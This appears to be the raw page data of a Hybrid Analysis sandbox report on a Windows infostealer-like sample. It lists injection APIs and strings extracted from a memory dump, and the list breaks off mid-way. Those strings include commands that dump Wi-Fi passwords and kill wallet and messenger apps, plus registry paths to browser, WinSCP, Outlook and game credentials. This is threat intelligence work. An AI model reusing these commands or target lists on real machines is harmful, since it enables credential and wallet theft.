24:I[7638,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js","/_next/static/chunks/2wvg5zqmbil4p.js","/_next/static/chunks/1l73s1hqiu28q.js","/_next/static/chunks/3l_wb6il5gi_h.js","/_next/static/chunks/3fc9w1ah_nm2g.js"],"SampleDetailWrapper"] 6f:I[27201,["/_next/static/chunks/3q3zujqgvmbhp.js","/_next/static/chunks/1sl4dwu7ouhir.js","/_next/static/chunks/1f7k-b47qno-6.js","/_next/static/chunks/3spet-0yezls2.js"],"IconMark"] 23:T504,{"@context":"https://schema.org","@type":"TechArticle","headline":"Malicious Win/malicious_confidence_100% Sample 87ef9d7dc1a5… — Score 100/100 — Hybrid Analysis","description":"Malicious verdict for sample 87ef9d7dc1a5…. Malware family: Win/malicious_confidence_100%. Threat score 100/100. 7/27 AV engines flagged this file. 6 malicious and 16 suspicious behavioral indicators. View antivirus detections, behavioral indicators, and sandbox reports.","url":"/sample/87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3","keywords":["Malicious","Win/malicious_confidence_100%","malware analysis","sandbox report","threat intelligence","87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3"],"about":{"@type":"SoftwareApplication","name":"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin","applicationCategory":["peexe","assembly","executable"],"identifier":"87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3","additionalType":"Malicious sample"},"threatScore":100,"malwareFamily":"Win/malicious_confidence_100%","antivirusDetections":{"malicious":7,"total":27},"behavioralIndicators":{"malicious":6,"suspicious":16},"publisher":{"@type":"Organization","name":"Hybrid Analysis","url":"https://www.hybrid-analysis.com"}}25:T1148,Found reference to API "VirtualFree" (Indicator: "VirtualFree"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "WTSFreeMemory" (Indicator: "FreeMemory"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "ZwAllocateVirtualMemory" (Indicator: "AllocateVirtualMemory"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "WriteVirtualMemory"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ZwWriteVirtualMemory" (Indicator: "ZwWriteVirtualMemory"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "NtMapViewOfSection" (Indicator: "NtMapViewOfSection"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAlloc"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx failed" (Indicator: "VirtualAllocEx"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "VirtualAlloc failed" (Indicator: "VirtualAlloc"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: WriteProcessMemory failed" (Indicator: "WriteProcessMemory"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx for PE failed" (Indicator: "VirtualAlloc"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: VirtualAllocEx for PE failed" (Indicator: "VirtualAllocEx"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "WriteProcessMemory" (Indicator: "WriteProcessMemory"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "VirtualFree" (Indicator: "VirtualFree"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "VirtualAlloc" (Indicator: "VirtualAlloc"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAlloc"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "VirtualAllocEx" (Indicator: "VirtualAllocEx"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "VirtualFreeEx" (Indicator: "VirtualFree"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")26:T66a,Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")27:T630,Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "RtlCreateUserThread" (Indicator: "RtlCreateUserThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OK: Shellcode injected (CreateRemoteThread)" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "NtCreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "NtCreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "NtCreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "NtCreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: CreateRemoteThread failed (err %lu)" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "CreateRemoteThread" (Indicator: "CreateRemoteThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")28:Ta76,Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "GetSystemTimeAsFileTime" (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "QueryPerformanceCounter" (Indicator: "QueryPerformanceCounter"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "WaitForSingleObject" (Indicator: "WaitForSingleObject"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObject"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "WaitForSingleObjectEx" (Indicator: "WaitForSingleObjectEx"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "GetTickCount64" (Indicator: "GetTickCount64"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "Handle enumeration requires NtQuerySystemInformation" (Indicator: "NtQuerySystemInformation"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OK: Prevent Sleep active" (Indicator: " Sleep "; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "WaitForMultipleObjects" (Indicator: "WaitForMultipleObjects"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")29:T6a0,Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "FreeLibrary" (Indicator: "FreeLibrary"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "LoadLibraryA" (Indicator: "LoadLibrary"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "LoadLibraryW" (Indicator: "LoadLibrary"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "LoadLibraryExA" (Indicator: "LoadLibrary"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "LoadLibraryExW" (Indicator: "LoadLibrary"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "FreeLibraryAndExitThread" (Indicator: "FreeLibrary"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")2a:T4d3,Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "ChangeServiceConfig2A" (Indicator: "ChangeServiceConfig"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "ControlService" (Indicator: "ControlService"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "ERROR: ChangeServiceConfig failed" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: ChangeServiceConfig2 failed" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ChangeServiceConfig2A" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ControlService" (Indicator: "ControlService"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ChangeServiceConfigA" (Indicator: "ChangeServiceConfig"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")2b:T65a,"nul" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c rd /s /q "%s"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "Conhost --headless cmd.exe /c start "" "%s" --user-data-dir="%s"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Telegram.exe /F & "%s\Telegram Desktop\Telegram.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Ayugram.exe /F & "%s\Ayugram Desktop\Ayugram.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Skype.exe /F & "%s\Microsoft\Skype for Desktop\Skype.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Discord.exe /F & "%s\Discord\app-*\Discord.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM OUTLOOK.EXE /F & outlook" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Foxmail.exe /F & "%s\Foxmail\Foxmail.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM thunderbird.exe /F & thunderbird" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM DingTalk.exe /F & "%s\DingDing\DingTalk.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Exodus.exe /F & "%s\Programs\Exodus\Exodus.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM electrum.exe /F & "%s\Electrum\electrum.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Atomic Wallet.exe /F & "%s\Programs\Atomic Wallet\Atomic Wallet.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Guarda.exe /F & "%s\Programs\Guarda\Guarda.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM Coinomi.exe /F & "%s\Coinomi\Coinomi.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM ArmoryQt.exe /F & "C:\Program Files (x86)\Armory\ArmoryQt.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c taskkill /IM "Jaxx Liberty.exe" /F & "%s\Programs\com.liberty.jaxx\Jaxx Liberty.exe"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profiles > "%s"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c chcp 65001 >nul && netsh wlan show profile name="%s" key=clear > "%s"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c %s" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c %s /qn" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /c %s /S /silent /quiet" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") file/memory contains long string with (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found string "cmd.exe /C "%s"" (Indicator: "cmd.exe /c"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")45:T468,Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "LockResource" (Indicator: "LockResource"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")46:T755,Found reference to API "OpenThread" (Indicator: "OpenThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "CreateThread" (Indicator: "CreateThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; File: "87ef9d7dc1a555d6b571a65bbcf82914fbea16bd9b66784e140e41a99a6726c3.bin") Found reference to API "CreateThread failed" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "NtCreateThreadEx" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OK: Shellcode injected (NtCreateThreadEx)" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx failed (0x%08X)" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ERROR: NtCreateThreadEx not found" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "SuspendThread" (Indicator: "SuspendThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "ResumeThread" (Indicator: "ResumeThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "CreateThread" (Indicator: "CreateThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp") Found reference to API "OpenThread" (Indicator: "OpenThread"; Source: "00000000-00007748.00000000.139879.C0A73000.00000002.mdmp")47:T3745,"\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "\AVAST Software\Browser\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "HARDWARE\DESCRIPTION\System\CentralProcessor\0" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "%s\Opera Software\Opera Stable" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Google Chrome" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application\brave.exe" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "%s\BraveSoftware\Brave-Browser\Application" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "BraveSoftware\Brave-Browser" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "%s\Opera Software\Opera Neon\Application\neon.exe" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "%s\AVAST Software\Browser\Application\AvastBrowser.exe" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "%s\Software\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Layers" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SYSTEM\CurrentControlSet\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows Defender" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows Advanced Threat Protection" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Classes\http\shell\open\command" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Classes\http\shell\open\command" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\%s\%s-Qt" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "BraveSoftware\Brave-Browser\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Opera Software\Opera Stable" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Opera Software\Opera GX Stable" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Avast Software\Browser\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Opera Software\Opera Neon\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Classes\%s\DefaultIcon" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Classes\%s\shell\open\command" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\%s" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Run" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Valve\Steam" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Configuration\Security" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Martin Prikryl\WinSCP 2\Sessions\%s" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Classes\Foxmail.url.mailto\Shell\open\command" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Foxmail\Install" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail\Install" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Foxmail" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\WOW6432Node\Foxmail" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall\Foxmail_is1" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows\CurrentVersion\App Paths\Foxmail.exe" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Office\16.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Windows NT\CurrentVersion\Windows Messaging Subsystem\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Microsoft\Windows Messaging Subsystem\Profiles\9375CFF0413111d3B88A00104B2A6676" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Tencent\WeChat" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "SOFTWARE\Microsoft\Windows NT\CurrentVersion" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Epic Games\EOS" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\Electronic Arts\EA Desktop" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Software\GOG.com\GalaxyClient\paths" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "BraveSoftware\Brave-Browser-Beta\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "BraveSoftware\Brave-Browser-Nightly\User Data" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Opera Software\Opera Crypto Stable" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Opera Software\Opera Crypto Developer" in Source: 00000000-00007748.00000000.139879.C0A73000.00000002.mdmp "Opera Software\Opera Developer" in Source: 